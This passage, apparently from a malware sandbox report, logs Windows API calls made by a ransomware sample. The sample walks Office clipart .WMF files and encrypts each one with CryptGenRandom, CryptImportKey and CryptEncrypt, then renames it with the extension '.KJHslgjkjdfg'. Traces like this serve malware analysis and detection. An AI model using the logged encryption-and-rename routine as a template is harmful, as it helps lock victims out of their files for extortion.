office\\clipart\\pub60cor\\dd01157_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01157_.wmf.kjhslgjkjdfg")) returned 1 [0188.262] CloseHandle (hObject=0x130) returned 1 [0188.262] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8b4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01160_.WMF", cAlternateFileName="")) returned 1 [0188.262] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01160_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0188.263] GetProcessHeap () returned 0x990000 [0188.263] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0188.263] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0188.263] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0188.263] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0188.265] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.265] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.265] GetProcessHeap () returned 0x990000 [0188.265] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0188.265] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0188.265] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.265] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0188.265] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.265] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0188.265] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0188.265] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0188.266] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.266] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.266] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.266] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.266] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x8b4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x8b4, lpOverlapped=0x0) returned 1 [0188.266] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x8c0, dwBufLen=0x8c0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x8c0) returned 1 [0188.266] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.266] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x8c0, lpOverlapped=0x0) returned 1 [0188.266] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.266] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x994, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.266] SetEndOfFile (hFile=0x130) returned 1 [0188.269] GetProcessHeap () returned 0x990000 [0188.269] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0188.269] GetProcessHeap () returned 0x990000 [0188.269] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0188.269] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01160_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01160_.wmf.kjhslgjkjdfg")) returned 1 [0188.269] CloseHandle (hObject=0x130) returned 1 [0188.270] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8fc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01162_.WMF", cAlternateFileName="")) returned 1 [0188.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01162_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0188.270] GetProcessHeap () returned 0x990000 [0188.270] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0188.270] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0188.270] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0188.270] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.272] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.272] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.272] GetProcessHeap () returned 0x990000 [0188.272] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0188.272] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0188.272] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.272] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0188.272] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.272] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0188.272] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0188.272] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0188.272] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.273] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.273] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.273] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.273] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x8fc, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x8fc, lpOverlapped=0x0) returned 1 [0188.273] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x900, dwBufLen=0x900 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x900) returned 1 [0188.273] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.273] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x900, lpOverlapped=0x0) returned 1 [0188.273] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.273] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x9d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.273] SetEndOfFile (hFile=0x130) returned 1 [0188.275] GetProcessHeap () returned 0x990000 [0188.275] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0188.275] GetProcessHeap () returned 0x990000 [0188.275] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0188.275] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01162_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01162_.wmf.kjhslgjkjdfg")) returned 1 [0188.276] CloseHandle (hObject=0x130) returned 1 [0188.276] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8fc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01163_.WMF", cAlternateFileName="")) returned 1 [0188.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01163_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0188.276] GetProcessHeap () returned 0x990000 [0188.276] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0188.276] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0188.276] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0188.277] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.278] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.278] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.278] GetProcessHeap () returned 0x990000 [0188.278] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0188.278] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0188.278] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.279] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0188.279] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.279] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0188.279] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0188.279] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0188.279] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.279] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.280] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.280] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.280] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x8fc, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x8fc, lpOverlapped=0x0) returned 1 [0188.280] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x900, dwBufLen=0x900 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x900) returned 1 [0188.280] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.280] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x900, lpOverlapped=0x0) returned 1 [0188.280] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.280] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x9d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.280] SetEndOfFile (hFile=0x130) returned 1 [0188.283] GetProcessHeap () returned 0x990000 [0188.283] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0188.283] GetProcessHeap () returned 0x990000 [0188.283] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0188.283] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01163_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01163_.wmf.kjhslgjkjdfg")) returned 1 [0188.284] CloseHandle (hObject=0x130) returned 1 [0188.284] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x820, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01166_.WMF", cAlternateFileName="")) returned 1 [0188.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01166_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0188.288] GetProcessHeap () returned 0x990000 [0188.289] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0188.289] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0188.289] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0188.289] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.289] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.289] GetProcessHeap () returned 0x990000 [0188.289] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0188.289] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0188.289] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.289] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0188.291] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.292] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0188.292] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0188.292] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0188.292] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.292] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.292] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.292] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.292] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x820, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x820, lpOverlapped=0x0) returned 1 [0188.292] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x820, dwBufLen=0x820 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x820) returned 1 [0188.292] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.292] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x820, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x820, lpOverlapped=0x0) returned 1 [0188.293] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.293] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.293] SetEndOfFile (hFile=0x130) returned 1 [0188.296] GetProcessHeap () returned 0x990000 [0188.296] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0188.296] GetProcessHeap () returned 0x990000 [0188.296] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0188.296] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01166_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01166_.wmf.kjhslgjkjdfg")) returned 1 [0188.297] CloseHandle (hObject=0x130) returned 1 [0188.297] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x820, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01167_.WMF", cAlternateFileName="")) returned 1 [0188.297] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01167_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0188.298] GetProcessHeap () returned 0x990000 [0188.298] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0188.298] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0188.298] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0188.298] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.298] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, 